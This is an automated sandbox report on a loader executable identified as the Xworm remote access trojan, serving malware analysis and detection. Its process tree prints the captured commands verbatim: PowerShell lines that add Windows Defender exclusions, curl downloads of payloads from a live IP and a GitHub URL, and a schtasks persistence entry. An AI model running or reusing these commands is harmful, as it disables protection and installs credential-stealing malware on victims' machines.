Analysis

  • max time kernel
    146s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-11-2024 17:14

General

  • Target

    srtware loader.exe

  • Size

    1.1MB

  • MD5

    12395d08dc0bfe12e63605328ddd982f

  • SHA1

    51ceb544e3900fb85fe7aada564d081219464d1d

  • SHA256

    789473143f4f1465f0221fca36ac25f48cae1223f51c9d6219544b27879ec3a6

  • SHA512

    1a26d4de93abf8f5af0b7e6ac3307f6cc6c3ce5b905545788430460c1664efa5637c856db3e994163147e259385da3125d6ff13a39bbade962c95872ea5bd4e4

  • SSDEEP

    24576:vTc28b2Yf2eSf1xZ9a9wwz+NzYbiaCoWTXKjvFQxf:bcbb2UCrZ9wwwKJL2jvFQx

Malware Config

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • .NET Reactor proctector 6 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 30 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\srtware loader.exe
    "C:\Users\Admin\AppData\Local\Temp\srtware loader.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5016
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1100
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c mkdir C:\Users\gbcd
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5084
    • C:\Windows\SysWOW64\curl.exe
      "curl.exe" -s http://79.110.49.246/didedba/abc -o C:\Users\gbcd\fff.scr
      2⤵
        PID:2960
      • C:\Windows\SysWOW64\curl.exe
        "curl.exe" -s http://79.110.49.246/didedba/dddv -o C:\Users\gbcd\qqq.scr
        2⤵
          PID:2920
        • C:\Windows\SysWOW64\curl.exe
          "curl.exe" -s http://79.110.49.246/didedba/write -o C:\Users\gbcd\ddd.scr
          2⤵
            PID:1840
          • C:\Windows\SysWOW64\curl.exe
            "curl.exe" -s https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exe -o C:\Users\gbcd\srtware.exe
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4492
          • C:\Users\gbcd\fff.scr
            "C:\Users\gbcd\fff.scr"
            2⤵
            • Executes dropped EXE
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:3720
          • C:\Users\gbcd\qqq.scr
            "C:\Users\gbcd\qqq.scr"
            2⤵
            • Checks computer location settings
            • Drops startup file
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2980
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\gbcd\qqq.scr'
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2964
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'qqq.scr'
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3092
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\winnotify.scr'
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2844
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winnotify.scr'
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4900
            • C:\Windows\SysWOW64\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winnotify" /tr "C:\Users\Public\winnotify.scr"
              3⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:1588

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          968cb9309758126772781b83adb8a28f

          SHA1

          8da30e71accf186b2ba11da1797cf67f8f78b47c

          SHA256

          92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

          SHA512

          4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          18KB

          MD5

          aab8b826e6cb46244d577836cd4c7701

          SHA1

          e916ab78664e4b5dc702a205be2050b091d128e2

          SHA256

          0658bd81cff42722f501585dedba8ee0e5bab0cf81d386439e27319d5e82d830

          SHA512

          96e32034b5a0d9a76e3afc62a24aa3a5a2c991ca2b7dba283f79d2d2f06d4fe69f1a2152a3c64f9e2e357126f1ba7106aa771202de8a9693f0463da5cda32b1d

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          18KB

          MD5

          453b7d6d1795564e49447b0f6076ad27

          SHA1

          f28b94c3391309a4ad973ba19906641638d47a98

          SHA256

          f6d86bd198761153960959fd24be3a89e6090b21c1554b1f11c72d2d521733e9

          SHA512

          3b03d5413d0bae71948230290a35ecaacebb3bb394436c7fcaf94d0a41c2ee08c4976054fdb27cfa18063be8f1315f4f93eeeaadb12550cf407cfbe6a47bed17

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          18KB

          MD5

          9ff978668ebe1845e1d085c9a5a39e5f

          SHA1

          1d8c3e9a0a7434fd5d6a7c521fa2bb59a7f9019f

          SHA256

          84bab961ccb5cd5d1b769f2d6774b14f39ce6e6fd483e02d5f7b328a4c982da9

          SHA512

          bd0cfa92b30a29f6a0cc17c5a946dfcff969479480dbeb5d0ee79f126f789a0a973a605ccc6f97851674aafa3a40f627e505542a8b16d2d3a20f6c83fb41f1d4

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          18KB

          MD5

          3d10d58a3f71d896fce29c1bcb77cfdf

          SHA1

          c2f6688cbf58418071b8c870335918013d09592a

          SHA256

          255d5816e028d9ecdaad2cec8796b108856f16a5429a5d815ed45ca280c43326

          SHA512

          69b2e205907590c097de0b43c1316d002c7c04f336ab3fe3c81b55f4431fdc23289c7c7ca04ca1aabc1a57b136979258555193a02f8c96366ac098bf07a7d32b

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fvjnxd4z.f3o.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\gbcd\fff.scr

          Filesize

          1.2MB

          MD5

          2a26ee4cbff061962a08e1e1ff21b2a3

          SHA1

          5d46e38be7aa3804036aeeea866ea779248620c0

          SHA256

          985b3985ac504754e2eb844272996a6a368e0bd732facdf096e522648d2db10a

          SHA512

          ae6e6273f209b95a6895ad28f208e46857178c80283cbb2d8fcfe30f52c921f36736b718807623cba969960a7ecd5547b9b53750f33a4ed25e4bc40eb15aead2

        • C:\Users\gbcd\qqq.scr

          Filesize

          1.1MB

          MD5

          33300acb6fb3c7effae29a3eb133be2e

          SHA1

          5c906423479c8089be9c51ee2a015d6fb634a4b3

          SHA256

          f7b3c2421385d8169d382b108ebb542786bab4a622a73b039dc887e25682c952

          SHA512

          55a6e5253fe7b9df1c0788c34685d3f33289cd29bfa6a0cf99e0671dda0655dd885d0b93912e21eac5f16978cc02c33ff0849be8afffacdcae8f0a64a91049d3

        • memory/1100-47-0x0000000007D10000-0x0000000007D2A000-memory.dmp

          Filesize

          104KB

        • memory/1100-38-0x0000000073D50000-0x0000000074500000-memory.dmp

          Filesize

          7.7MB

        • memory/1100-10-0x0000000005940000-0x00000000059A6000-memory.dmp

          Filesize

          408KB

        • memory/1100-11-0x00000000060C0000-0x0000000006414000-memory.dmp

          Filesize

          3.3MB

        • memory/1100-8-0x0000000073D50000-0x0000000074500000-memory.dmp

          Filesize

          7.7MB

        • memory/1100-21-0x0000000006680000-0x000000000669E000-memory.dmp

          Filesize

          120KB

        • memory/1100-22-0x00000000066B0000-0x00000000066FC000-memory.dmp

          Filesize

          304KB

        • memory/1100-23-0x0000000006C50000-0x0000000006C82000-memory.dmp

          Filesize

          200KB

        • memory/1100-25-0x00000000701B0000-0x00000000701FC000-memory.dmp

          Filesize

          304KB

        • memory/1100-35-0x0000000073D50000-0x0000000074500000-memory.dmp

          Filesize

          7.7MB

        • memory/1100-5-0x0000000073D50000-0x0000000074500000-memory.dmp

          Filesize

          7.7MB

        • memory/1100-9-0x0000000005860000-0x00000000058C6000-memory.dmp

          Filesize

          408KB

        • memory/1100-37-0x0000000006C30000-0x0000000006C4E000-memory.dmp

          Filesize

          120KB

        • memory/1100-6-0x0000000005A90000-0x00000000060B8000-memory.dmp

          Filesize

          6.2MB

        • memory/1100-39-0x0000000007650000-0x00000000076F3000-memory.dmp

          Filesize

          652KB

        • memory/1100-40-0x0000000008010000-0x000000000868A000-memory.dmp

          Filesize

          6.5MB

        • memory/1100-41-0x00000000079D0000-0x00000000079EA000-memory.dmp

          Filesize

          104KB

        • memory/1100-42-0x0000000007A40000-0x0000000007A4A000-memory.dmp

          Filesize

          40KB

        • memory/1100-43-0x0000000007C50000-0x0000000007CE6000-memory.dmp

          Filesize

          600KB

        • memory/1100-44-0x0000000007BD0000-0x0000000007BE1000-memory.dmp

          Filesize

          68KB

        • memory/1100-45-0x0000000007C00000-0x0000000007C0E000-memory.dmp

          Filesize

          56KB

        • memory/1100-46-0x0000000007C10000-0x0000000007C24000-memory.dmp

          Filesize

          80KB

        • memory/1100-4-0x00000000030C0000-0x00000000030F6000-memory.dmp

          Filesize

          216KB

        • memory/1100-48-0x0000000007CF0000-0x0000000007CF8000-memory.dmp

          Filesize

          32KB

        • memory/1100-51-0x0000000073D50000-0x0000000074500000-memory.dmp

          Filesize

          7.7MB

        • memory/1100-7-0x00000000057B0000-0x00000000057D2000-memory.dmp

          Filesize

          136KB

        • memory/2844-138-0x000000006FA10000-0x000000006FA5C000-memory.dmp

          Filesize

          304KB

        • memory/2964-88-0x0000000006730000-0x000000000677C000-memory.dmp

          Filesize

          304KB

        • memory/2964-77-0x0000000005FE0000-0x0000000006334000-memory.dmp

          Filesize

          3.3MB

        • memory/2964-101-0x0000000007C40000-0x0000000007C54000-memory.dmp

          Filesize

          80KB

        • memory/2964-100-0x0000000007BF0000-0x0000000007C01000-memory.dmp

          Filesize

          68KB

        • memory/2964-99-0x00000000078E0000-0x0000000007983000-memory.dmp

          Filesize

          652KB

        • memory/2964-89-0x000000006FA10000-0x000000006FA5C000-memory.dmp

          Filesize

          304KB

        • memory/2980-75-0x0000000009BF0000-0x0000000009C8C000-memory.dmp

          Filesize

          624KB

        • memory/2980-70-0x0000000000E80000-0x0000000001232000-memory.dmp

          Filesize

          3.7MB

        • memory/2980-74-0x0000000005530000-0x0000000005536000-memory.dmp

          Filesize

          24KB

        • memory/2980-137-0x0000000000E80000-0x0000000001232000-memory.dmp

          Filesize

          3.7MB

        • memory/2980-72-0x0000000000E80000-0x0000000001232000-memory.dmp

          Filesize

          3.7MB

        • memory/2980-73-0x0000000000E80000-0x0000000001232000-memory.dmp

          Filesize

          3.7MB

        • memory/3092-114-0x000000006FA10000-0x000000006FA5C000-memory.dmp

          Filesize

          304KB

        • memory/3092-112-0x00000000058F0000-0x0000000005C44000-memory.dmp

          Filesize

          3.3MB

        • memory/3720-62-0x0000000006E00000-0x0000000006E92000-memory.dmp

          Filesize

          584KB

        • memory/3720-61-0x0000000000BB0000-0x0000000000F7E000-memory.dmp

          Filesize

          3.8MB

        • memory/3720-67-0x0000000000BB0000-0x0000000000F7E000-memory.dmp

          Filesize

          3.8MB

        • memory/3720-63-0x00000000087A0000-0x0000000008D44000-memory.dmp

          Filesize

          5.6MB

        • memory/3720-60-0x0000000000BB0000-0x0000000000F7E000-memory.dmp

          Filesize

          3.8MB

        • memory/4900-159-0x000000006FA10000-0x000000006FA5C000-memory.dmp

          Filesize

          304KB

        • memory/5016-24-0x00000000003E0000-0x0000000000772000-memory.dmp

          Filesize

          3.6MB

        • memory/5016-2-0x00000000003E0000-0x0000000000772000-memory.dmp

          Filesize

          3.6MB

        • memory/5016-3-0x0000000006A10000-0x0000000006A16000-memory.dmp

          Filesize

          24KB

        • memory/5016-36-0x0000000073D5E000-0x0000000073D5F000-memory.dmp

          Filesize

          4KB

        • memory/5016-1-0x0000000073D5E000-0x0000000073D5F000-memory.dmp

          Filesize

          4KB

        • memory/5016-0-0x00000000003E0000-0x0000000000772000-memory.dmp

          Filesize

          3.6MB